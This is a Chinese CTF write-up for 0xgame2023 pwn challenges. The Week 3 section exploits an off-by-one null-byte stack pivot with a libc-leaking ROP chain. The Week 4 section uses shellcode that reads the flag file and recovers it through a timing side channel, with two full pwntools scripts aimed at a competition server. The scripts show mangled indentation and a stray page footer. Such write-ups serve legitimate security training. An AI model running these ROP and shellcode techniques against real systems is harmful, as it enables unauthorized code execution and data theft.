0xgame2023 Pwn Wp

0xgame2023 Pwn Wp

Week3 没了溢出,你能秒我?

1
poison-stack-base
1
2
3
4
5
6
7
8
int vuln()
{
char v1[256]; // [rsp+0h] [rbp-100h] BYREF

puts("Try perform ROP!");
custom_gets_off_by_one_or_null((__int64)v1, 256);
return puts("Good luck!");
}

​ custom_gets_off_by_one_or_null里存在一字节溢出,使得rbp低位被\x00覆盖。经过vuln和main两个函数的leave;ret之后,rsp会指向我们低位写0的rbp,从而完成抬栈。
​ 而后我们可以在栈中写ROP链,赌原先的rbp的低位值足够大,从而在被\x00覆盖后有足够大的空间来写ROP链,当然rop链尽量写的短一点最好。
EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
debug=1
if debug:
io=process('./pwn')
else:
io=remote('')

pop_rdi=0x401393
pop_rsi=0x401391
payload=p64(pop_rdi+1)*28+flat(pop_rdi,elf.got['puts'],elf.plt['puts'],0x401259)
print(hex(elf.sym.main))
io.sendafter('Try perform ROP!\n',payload)
io.recvline()
libcbase=u64(io.recvline()[:-1].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
payload=p64(pop_rdi+1)*25+flat(pop_rdi,libcbase+0x1b45bd,pop_rsi,0,0,libcbase+0x52290)
io.sendafter('Try perform ROP!\n',payload)
io.interactive()

小注意

  • 再回到函数主体时,入口不能直接是函数地址,因为其第一条指令为push rbp,显然矛盾,移到下一条指令.

  • ​ 再回到main函数的入口时不能直接用函数的起始地址,如下图,起始地址的第一条指令为push rbp,显然nn有所冲突,所以下移到其下一条指令。

Rop链前部分写ret指令

Week4

读入十个字节去执行,可以实现一个read。然后在ORloop进行侧信道攻击。把flag读入内存,然后判断是不是指定值,如果不是就退出,是就进入死循环。依次判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context(arch='amd64', log_level='error')

def read_v(offset, v):
p = remote('8.130.35.16', 54000)
#p = process('./pwn')
#读文件
pay2 = shellcraft.open('flag')+shellcraft.read('rax',target,0x40)
pay2 += f'lab: mov rax, 0x{offset:x};mov cl,byte ptr [rax]; cmp cl, {v}; je lab;' + shellcraft.exit(0)
s2 = b'\x90'*0x10+asm(pay2)
pay = "xor edi,edi;push rdx;pop rsi;syscall;"
p.sendafter(b"Now show me your code:\n", asm(pay).ljust(0x10, b'\x90')+s2)
p.recvline()
#pause()
try:
p.recv(timeout=0.3)
p.close()
#p.interactive()
return True
except:
p.close()
return False

target = 0x20230200 #写目录和文件
name = 'flag'

dic = b'0123456789-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_}'
name = '0xGame{'
for _ in range(50):
for i in dic:
if read_v(target+len(name), i):
name += chr(i)
print('name:',name)
break
else:
print(chr(i), end=' ')
#break
#break

也可以二分法查找,加速爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context(arch='amd64', os='linux', log_level='info')
flag="0xGame{"
while 1:
curr_pos=len(flag)
left=32
right=126
while left!=right:
warning(f"{curr_pos}: {left}~{right}")
#s=process("../dist/pwn")
s=remote("8.130.35.16",54000)
#pause()
s.sendafter(b"code:\n",asm("push rdx;pop rsi;push rdx;pop r15;xor
rdi,rdi;xor rax,rax;syscall"))
mid=int((left+right)/2)
scbase=f"""
push r15
pop rdi
xor rsi,rsi
xor rdx,rdx
push 2
pop rax
syscall
push rdi
pop rsi
add rsi,0x600
week4-pwn-wp.md 2023-10-31
3 / 4
push rax
pop rdi
xor rax,rax
inc dh
syscall
push rsi
pop r14
cmp byte ptr [r14+{curr_pos}],{mid}
ja loop
push 0x3b
pop rax
syscall
loop:
jmp loop
"""
s.recvline()
#pause()
s.send(b"flag\0".ljust(0x10,b"\x90")+asm(scbase))
#pause()
try:
dat=s.recv(timeout=1)
except EOFError:
right=mid
s.close()
continue
left=mid+1
#pause()
s.close()
flag+=chr(left)
warning(flag)
if flag[-1]=="}":
success(flag)
exit(0)